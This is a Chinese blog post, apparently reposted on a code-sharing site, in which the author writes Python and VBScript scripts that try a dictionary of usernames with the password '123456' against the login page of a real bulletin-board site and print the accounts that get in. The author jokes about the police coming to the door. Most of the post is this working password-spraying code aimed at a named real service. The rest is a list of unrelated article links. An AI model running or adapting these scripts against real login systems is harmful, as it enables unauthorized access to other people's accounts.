Python牛刀小试密码爆破


Posted in Python onFebruary 03, 2011

难道真的要我破解一个么?算了,正好试试我的Python水平。
python版

#coding: gbk 
import httplib, urllib def Check(username, password): 
params = urllib.urlencode( 
{'userid': username, 'passwd': password}) 
headers = {"Content-type": 
"application/x-www-form-urlencoded"} 
conn = httplib.HTTPSConnection("www.bdwm.net") 
conn.request("POST", 
"/bbs/bbslog2.php", params, headers) 
res = conn.getresponse().read() 
conn.close() 
if res.find("密码不正确") != -1: 
return False 
elif res.find("不存在这个用户") != -1: 
return False 
else: 
return True 
for i in open("English.Dic"): 
if Check(i.rstrip(),"123456"): 
print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
Dim fso 
Set fso = CreateObject("scripting.filesystemobject") 
With fso.OpenTextFile("English.Dic",1) 
Do Until .AtEndOfStream 
id = .ReadLine 
If Check(id,"123456") Then 
WScript.Echo id & vbTab &"OK" 
End If 
Loop 
End With Function Check(username,password) 
Dim http 
Set http = CreateObject("Msxml2.XMLHTTP") 
http.open _ 
"POST","https://www.bdwm.net/bbs/bbslog2.php",False 
http.setRequestHeader _ 
"Content-Type","application/x-www-form-urlencoded" 
http.send "userid=" & username & "&passwd=" & password 
response = AnsiToUnicode(http.responseBody) 
If InStr(response,"密码不正确") Then 
Check = False 
ElseIf InStr(response,"不存在这个用户") Then 
Check = False 
Else 
Check = True 
End If 
End Function 
Function AnsiToUnicode(str) 
Dim ado 
Set ado = CreateObject("adodb.stream") 
ado.Type = 1 
ado.Open 
ado.Write str 
ado.Position = 0 
ado.Type = 2 
ado.Charset = "gb2312" 
AnsiToUnicode = ado.ReadText 
End Function

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
Python 相关文章推荐
wxPython学习之主框架实例
Sep 28 Python
python回调函数中使用多线程的方法
Dec 25 Python
在python中以相同顺序shuffle两个list的方法
Dec 13 Python
在cmd中查看python的安装路径方法
Jul 03 Python
python Pandas库基础分析之时间序列的处理详解
Jul 13 Python
python对常见数据类型的遍历解析
Aug 27 Python
余弦相似性计算及python代码实现过程解析
Sep 18 Python
windows环境中利用celery实现简单任务队列过程解析
Nov 29 Python
Python实现不规则图形填充的思路
Feb 02 Python
pandas DataFrame运算的实现
Jun 14 Python
Pycharm无法打开双击没反应的问题及解决方案
Aug 17 Python
Python扫描端口的实现
Jan 25 Python
初学python数组的处理代码
Jan 04 #Python
让python json encode datetime类型
Dec 28 #Python
让python的Cookie.py模块支持冒号做key的方法
Dec 28 #Python
python封装对象实现时间效果
Apr 23 #Python
python下函数参数的传递(参数带星号的说明)
Sep 19 #Python
Python 元类使用说明
Dec 18 #Python
Python3 入门教程 简单但比较不错
Nov 29 #Python
You might like
php面向对象全攻略 (十) final static const关键字的使用
2009/09/30 PHP
php实现的任意进制互转类分享
2015/07/07 PHP
PHP根据session与cookie用户登录状态操作类的代码
2016/05/13 PHP
PHP简单判断iPhone、iPad、Android及PC设备的方法
2016/10/11 PHP
浅谈PHP错误类型及屏蔽方法
2017/05/27 PHP
PHP时间戳和日期相互转换操作实例小结
2018/12/18 PHP
Laravel5.5+ 使用API Resources快速输出自定义JSON方法详解
2020/04/06 PHP
javascript中"/"运算符常见错误
2010/10/13 Javascript
javascript页面加载完执行事件代码
2014/02/11 Javascript
利用jQuery实现可以编辑的表格
2014/05/26 Javascript
jquery实现鼠标滑过显示提示框的方法
2015/02/05 Javascript
简单纯js实现点击切换TAB标签实例
2015/08/23 Javascript
前端编码规范(3)JavaScript 开发规范
2017/01/21 Javascript
vue计算属性computed的使用方法示例
2019/03/13 Javascript
vue.js高德地图实现热点图代码实例
2019/04/18 Javascript
[14:20]刀塔大凶女神互压各路奇葩屌丝
2014/05/16 DOTA
[04:41]2014DOTA2国际邀请赛 Liquid顺利突围晋级正赛
2014/07/09 DOTA
[53:15]2018DOTA2亚洲邀请赛3月29日 小组赛A组 KG VS OG
2018/03/30 DOTA
[43:41]OG vs Newbee 2019国际邀请赛淘汰赛 胜者组 BO3 第一场 8.21.mp4
2020/07/19 DOTA
在Python中处理字符串之ljust()方法的使用简介
2015/05/19 Python
在windows系统中实现python3安装lxml
2016/03/23 Python
windows10下python3.5 pip3安装图文教程
2018/04/02 Python
Python HTML解析器BeautifulSoup用法实例详解【爬虫解析器】
2019/04/05 Python
Django Python 获取请求头信息Content-Range的方法
2019/08/06 Python
Python集成开发工具Pycharm的安装和使用详解
2020/03/18 Python
CSS3解析抖音LOGO制作的方法步骤
2019/04/11 HTML / CSS
HTML5中的强制下载属性download使用实例解析
2016/05/12 HTML / CSS
科尔士百货公司官网:Kohl’s
2016/07/11 全球购物
TheFork葡萄牙:欧洲领先的在线餐厅预订平台
2019/05/27 全球购物
美国户外服装和装备购物网站:Outland USA
2020/03/22 全球购物
公共机构节能宣传周活动总结
2014/07/09 职场文书
三峡导游词
2015/01/31 职场文书
一个都不能少观后感
2015/06/04 职场文书
关于拾金不昧的感谢信(五篇)
2019/10/18 职场文书
HTML5简单实现添加背景音乐的几种方法
2021/05/12 HTML / CSS
Spark SQL 2.4.8 操作 Dataframe的两种方式
2021/10/16 SQL Server